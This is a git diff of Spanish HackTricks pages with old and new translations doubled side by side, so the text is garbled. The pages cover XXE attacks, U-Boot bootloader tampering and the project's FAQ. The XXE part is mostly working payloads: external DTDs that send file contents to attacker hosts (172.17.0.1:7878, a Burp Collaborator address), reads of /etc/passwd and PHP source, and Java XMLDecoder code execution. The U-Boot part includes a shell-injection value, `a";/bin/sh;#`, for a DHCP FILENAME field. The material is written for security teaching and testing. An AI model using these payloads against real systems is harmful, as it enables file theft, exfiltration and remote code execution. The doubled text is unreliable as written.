Puedes crear una **entidad dentro de otra entidad** codificándola con **entidades HTML** y luego llamarla para **cargar un dtd**.\ Puedes crear una **entidad dentro de una entidad** codificándola con **entidades HTML** y luego llamarla para **cargar un dtd**.\
Ten en cuenta que las **Entidades HTML** utilizadas deben ser **numéricas** (como \[en este ejemplo]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)). Ten en cuenta que las **Entidades HTML** utilizadas deben ser **numéricas** (como \[en este ejemplo]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]> <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
@ -497,14 +482,14 @@ Ten en cuenta que las **Entidades HTML** utilizadas deben ser **numéricas** (co
<env>&exfil;</env> <env>&exfil;</env>
</data> </data>
``` ```
Ejemplo de DTD: Ejemplo DTD:
```markup ```markup
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag"> <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>"> <!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt; %abt;
%exfil; %exfil;
``` ```
## Envoltorios de PHP ## Envolturas PHP
### Base64 ### Base64
@ -537,7 +522,7 @@ Ejemplo de DTD:
Esta sección fue tomada de [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\ Esta sección fue tomada de [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\
Según la [Wikipedia](https://en.wikipedia.org/wiki/XLIFF): Según la [Wikipedia](https://en.wikipedia.org/wiki/XLIFF):
> XLIFF (Formato de Archivo de Intercambio de Localización XML) es un formato de bitexto basado en XML creado para estandarizar la manera en que los datos localizables se pasan entre herramientas y durante un proceso de localización, y un formato común para el intercambio de herramientas CAT. > XLIFF (XML Localization Interchange File Format) es un formato de bitexto basado en XML creado para estandarizar la forma en que se pasan datos localizables entre y entre herramientas durante un proceso de localización y un formato común para el intercambio de herramientas CAT.
### Solicitud ciega ### Solicitud ciega
```markup ```markup
@ -551,13 +536,13 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff> <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
``` ```
La respuesta del servidor con un error: El servidor responde con un error:
```javascript ```javascript
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."} {"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
``` ```
Pero obtuvimos un resultado en Burp Collaborator. Pero obtuvimos una respuesta en Burp Collaborator.
### Exfiltración de Datos vía Fuera de Banda ### Exfiltración de datos a través de Out of Band
```markup ```markup
------WebKitFormBoundaryqBdAsEtYaBjTArl3 ------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -569,7 +554,9 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff> <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
``` ```
### Exfiltración de Datos vía Error Basado Basándose en el User Agent mostrado devuelto por Burp Collaborator, parece que está utilizando **Java 1.8**. Uno de los problemas al explotar XXE en esta versión de Java es **que no podemos obtener los archivos que contienen un `Salto de línea`** como `/etc/passwd` utilizando la técnica Out of Band.
### Exfiltrando Datos a través de Errores Basados en
Archivo DTD: Archivo DTD:
```markup ```markup
@ -578,11 +565,11 @@ Archivo DTD:
%foo; %foo;
%xxe; %xxe;
``` ```
Respuesta del Servidor: Respuesta del servidor:
```javascript ```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
``` ```
¡Genial! El archivo `non-exist` se refleja en los mensajes de error. Lo siguiente es agregar el contenido del archivo. Excelente! El archivo `non-exist` se refleja en los mensajes de error. A continuación se agrega el Contenido del Archivo.
Archivo DTD: Archivo DTD:
```markup ```markup
@ -591,15 +578,15 @@ Archivo DTD:
%foo; %foo;
%xxe; %xxe;
``` ```
Y el contenido del archivo fue exitosamente **impreso en la salida del error enviado vía HTTP**. Y el contenido del archivo se **imprimió con éxito en la salida del error enviado a través de HTTP**.
## RSS - XEE ## RSS - XEE
XML válido con formato RSS para explotar una vulnerabilidad XXE. XML válido con formato RSS para explotar una vulnerabilidad de XXE.
### Ping back ### Ping back
Solicitud HTTP simple al servidor del atacante Solicitud HTTP simple al servidor de los atacantes
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY > <!DOCTYPE title [ <!ELEMENT title ANY >
@ -621,6 +608,15 @@ Solicitud HTTP simple al servidor del atacante
</rss> </rss>
``` ```
### Leer archivo ### Leer archivo
El atacante puede utilizar una entidad externa XML para leer archivos del sistema de archivos del servidor. Por ejemplo, el siguiente XML puede ser utilizado para leer el archivo `/etc/passwd`:
```xml
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY > <!DOCTYPE title [ <!ELEMENT title ANY >
@ -643,7 +639,7 @@ Solicitud HTTP simple al servidor del atacante
``` ```
### Leer código fuente ### Leer código fuente
Usando filtro base64 de PHP Usando el filtro base64 de PHP
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY > <!DOCTYPE title [ <!ELEMENT title ANY >
@ -664,11 +660,11 @@ Usando filtro base64 de PHP
</channel> </channel>
</rss> </rss>
``` ```
## Java XMLDecoder XEE a RCE ## Java XMLDecoder XEE to RCE
XMLDecoder es una clase de Java que crea objetos basados en un mensaje XML. Si un usuario malicioso puede hacer que una aplicación utilice datos arbitrarios en una llamada al método **readObject**, obtendrá instantáneamente ejecución de código en el servidor. XMLDecoder es una clase de Java que crea objetos basados en un mensaje XML. Si un usuario malintencionado puede hacer que una aplicación utilice datos arbitrarios en una llamada al método **readObject**, obtendrá instantáneamente la ejecución de código en el servidor.
### Usando Runtime().exec() ### Utilizando Runtime().exec()
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder"> <java version="1.7.0_21" class="java.beans.XMLDecoder">
@ -699,6 +695,8 @@ XMLDecoder es una clase de Java que crea objetos basados en un mensaje XML. Si u
</java> </java>
``` ```
### ProcessBuilder ### ProcessBuilder
El `ProcessBuilder` es una clase en Java que se utiliza para crear procesos nativos del sistema operativo. Permite a los desarrolladores ejecutar comandos en el sistema operativo subyacente desde una aplicación Java.
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder"> <java version="1.7.0_21" class="java.beans.XMLDecoder">
@ -736,7 +734,7 @@ XMLDecoder es una clase de Java que crea objetos basados en un mensaje XML. Si u
[https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\ [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\
[https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\ [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\
Extraer información vía HTTP usando DTD externo propio: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\ Extraer información a través de HTTP utilizando su propio DTD externo: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\
[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\ [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\
[https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\ [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\
[https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\ [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\
@ -745,14 +743,14 @@ Extraer información vía HTTP usando DTD externo propio: [https://ysx.me.uk/fro
<details> <details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,59 +1,71 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
Los siguientes pasos se recomiendan para modificar las configuraciones de inicio del dispositivo y los bootloaders como U-boot:
Copiado de [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) 1. **Acceder a la Shell del Intérprete del Bootloader**:
- Durante el arranque, presiona "0", espacio u otros "códigos mágicos" identificados para acceder a la shell del intérprete del bootloader.
Cuando modifiques el arranque de dispositivos y bootloaders como U-boot, intenta lo siguiente: 2. **Modificar los Argumentos de Arranque**:
- Ejecuta los siguientes comandos para agregar '`init=/bin/sh`' a los argumentos de arranque, permitiendo la ejecución de un comando de shell:
%%%
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
#saveenv
#boot
%%%
* Intenta acceder al intérprete de shell del bootloader presionando "0", espacio u otros "códigos mágicos" identificados durante el arranque. 3. **Configurar un Servidor TFTP**:
* Modifica configuraciones para ejecutar un comando de shell, como agregar '`init=/bin/sh`' al final de los argumentos de arranque - Configura un servidor TFTP para cargar imágenes a través de una red local:
* `#printenv` %%%
* `#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh` #setenv ipaddr 192.168.2.2 #IP local del dispositivo
* `#saveenv` #setenv serverip 192.168.2.1 #IP del servidor TFTP
* `#boot` #saveenv
* Configura un servidor tftp para cargar imágenes a través de la red localmente desde tu estación de trabajo. Asegúrate de que el dispositivo tenga acceso a la red. #reset
* `#setenv ipaddr 192.168.2.2 #IP local del dispositivo` #ping 192.168.2.1 #verificar acceso a la red
* `#setenv serverip 192.168.2.1 #IP del servidor tftp` #tftp ${loadaddr} uImage-3.6.35 #loadaddr toma la dirección para cargar el archivo y el nombre del archivo de la imagen en el servidor TFTP
* `#saveenv` %%%
* `#reset`
* `#ping 192.168.2.1 #verifica si el acceso a la red está disponible`
* `#tftp ${loadaddr} uImage-3.6.35 #loadaddr toma dos argumentos: la dirección donde cargar el archivo y el nombre del archivo de la imagen en el servidor TFTP`
* Usa `ubootwrite.py` para escribir la imagen de uboot y empujar un firmware modificado para obtener root
* Verifica si están habilitadas características de depuración como:
* registro detallado
* carga de kernels arbitrarios
* arranque desde fuentes no confiables
* \*Usa precaución: Conecta un pin a tierra, observa la secuencia de arranque del dispositivo, antes de que el kernel se descomprima, cortocircuita/conecta el pin a tierra a un pin de datos (DO) en un chip de flash SPI
* \*Usa precaución: Conecta un pin a tierra, observa la secuencia de arranque del dispositivo, antes de que el kernel se descomprima, cortocircuita/conecta el pin a tierra a los pines 8 y 9 del chip de flash NAND en el momento en que U-boot descomprime la imagen UBI
* \*Revisa la hoja de datos del chip de flash NAND antes de cortocircuitar pines
* Configura un servidor DHCP malicioso con parámetros maliciosos como entrada para que un dispositivo los ingiera durante un arranque PXE
* Usa el servidor auxiliar DHCP de Metasploit (MSF) y modifica el parámetro '`FILENAME`' con comandos de inyección de comandos como `a";/bin/sh;#` para probar la validación de entrada en los procedimientos de arranque del dispositivo.
\*Pruebas de seguridad de hardware 4. **Utilizar `ubootwrite.py`**:
- Usa `ubootwrite.py` para escribir la imagen de U-boot y cargar un firmware modificado para obtener acceso de root.
5. **Verificar las Características de Depuración**:
- Verifica si las características de depuración como el registro detallado, la carga de kernels arbitrarios o el arranque desde fuentes no confiables están habilitadas.
6. **Interferencia de Hardware con Precaución**:
- Ten precaución al conectar un pin a tierra e interactuar con chips de memoria flash SPI o NAND durante la secuencia de arranque del dispositivo, especialmente antes de que el kernel se descomprima. Consulta la hoja de datos del chip de memoria NAND antes de hacer cortocircuitos en los pines.
7. **Configurar un Servidor DHCP Malicioso**:
- Configura un servidor DHCP malicioso con parámetros maliciosos para que un dispositivo los ingiera durante un arranque PXE. Utiliza herramientas como el servidor auxiliar DHCP de Metasploit (MSF). Modifica el parámetro 'FILENAME' con comandos de inyección de comandos como `'a";/bin/sh;#'` para probar la validación de entrada en los procedimientos de inicio del dispositivo.
**Nota**: Los pasos que implican interacción física con los pines del dispositivo (*marcados con asteriscos) deben abordarse con extrema precaución para evitar dañar el dispositivo.
# Referencias
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -1,16 +1,16 @@
# Valores de HackTricks y preguntas frecuentes # Valores y preguntas frecuentes de HackTricks
<details> <details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de HackTricks AWS)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de Github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
@ -19,15 +19,15 @@ Otras formas de apoyar a HackTricks:
{% hint style="success" %} {% hint style="success" %}
Estos son los **valores del Proyecto HackTricks**: Estos son los **valores del Proyecto HackTricks**:
* Proporcionar acceso **GRATUITO** a recursos de hacking **EDUCATIVOS** para **TODOS** en Internet. * Brindar acceso **GRATUITO** a recursos de **hacking EDUCATIVO** para **TODOS** en Internet.
* El hacking es sobre aprender, y aprender debería ser lo más gratuito posible. * El hacking se trata de aprender, y el aprendizaje debería ser lo más libre posible.
* El propósito de este libro es servir como un recurso **educativo integral**. * El propósito de este libro es servir como un **recurso educativo** completo.
* **ALMACENAR** técnicas de hacking **impresionantes** que la comunidad publica dando todos los **CRÉDITOS** a los **AUTORES ORIGINALES**. * **ALMACENAR** increíbles **técnicas de hacking** que la comunidad publica dando a los **AUTORES ORIGINALES** todo el **crédito**.
* **No queremos el crédito de otras personas**, solo queremos almacenar trucos geniales para todos. * **No queremos el crédito de otras personas**, solo queremos almacenar trucos geniales para todos.
* También escribimos **nuestras propias investigaciones** en HackTricks. * También escribimos **nuestras propias investigaciones** en HackTricks.
* En varios casos, solo escribiremos **en HackTricks un resumen de las partes importantes** de la técnica y **alentaremos al lector a visitar la publicación original** para más detalles. * En varios casos, simplemente escribiremos **en HackTricks un resumen de las partes importantes** de la técnica y **animaremos al lector a visitar la publicación original** para más detalles.
* **ORGANIZAR** todas las técnicas de hacking en el libro para que sea **MÁS ACCESIBLE** * **ORGANIZAR** todas las técnicas de hacking en el libro para que sea **MÁS ACCESIBLE**
* El equipo de HackTricks ha dedicado miles de horas gratuitamente **solo para organizar el contenido** para que la gente pueda **aprender más rápido** * El equipo de HackTricks ha dedicado miles de horas de forma gratuita **solo para organizar el contenido** para que las personas puedan **aprender más rápido**
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
@ -35,36 +35,36 @@ Estos son los **valores del Proyecto HackTricks**:
## Preguntas frecuentes de HackTricks ## Preguntas frecuentes de HackTricks
{% hint style="success" %} {% hint style="success" %}
* **Muchas gracias por estos recursos, ¿cómo puedo agradecerles?** * **¡Muchas gracias por estos recursos, cómo puedo agradecerles?**
{% endhint %} {% endhint %}
Puedes agradecer públicamente al equipo de HackTricks por reunir todos estos recursos en un tweet mencionando a [**@hacktricks\_live**](https://twitter.com/hacktricks\_live).\ Puedes agradecer públicamente al equipo de HackTricks por reunir todos estos recursos públicamente en un tweet mencionando a [**@hacktricks\_live**](https://twitter.com/hacktricks\_live).\
Si estás especialmente agradecido, también puedes [**patrocinar el proyecto aquí**](https://github.com/sponsors/carlospolop).\ Si estás especialmente agradecido, también puedes [**patrocinar el proyecto aquí**](https://github.com/sponsors/carlospolop).\
Y no olvides **dar una estrella en los proyectos de Github!** (Encuentra los enlaces abajo). ¡Y no olvides **darle una estrella a los proyectos de Github**! (Encuentra los enlaces abajo).
{% hint style="success" %} {% hint style="success" %}
* **¿Cómo puedo contribuir al proyecto?** * **¿Cómo puedo contribuir al proyecto?**
{% endhint %} {% endhint %}
Puedes **compartir nuevos consejos y trucos con la comunidad o corregir errores** que encuentres en los libros enviando un **Pull Request** a las respectivas páginas de Github: Puedes **compartir nuevos consejos y trucos con la comunidad o corregir errores** que encuentres en los libros enviando una **Solicitud de extracción** a las páginas de Github respectivas:
* [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) * [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
* [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) * [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
No olvides **dar una estrella en los proyectos de Github!** ¡No olvides **darle una estrella a los proyectos de Github**!
{% hint style="success" %} {% hint style="success" %}
* **¿Puedo copiar contenido de HackTricks y ponerlo en mi blog?** * **¿Puedo copiar contenido de HackTricks y ponerlo en mi blog?**
{% endhint %} {% endhint %}
Sí, puedes hacerlo, pero **no olvides mencionar el(los) enlace(s) específico(s)** de donde se tomó el contenido. Sí, puedes, pero **no olvides mencionar el/los enlace(s) específico(s)** de donde se tomó el contenido.
{% hint style="success" %} {% hint style="success" %}
* **¿Cómo puedo citar una página de HackTricks?** * **¿Cómo puedo citar una página de HackTricks?**
{% endhint %} {% endhint %}
Mientras aparezca el enlace **de** la(s) página(s) de donde tomaste la información es suficiente.\ Mientras aparezca el enlace **de** la(s) página(s) de donde tomaste la información es suficiente.\
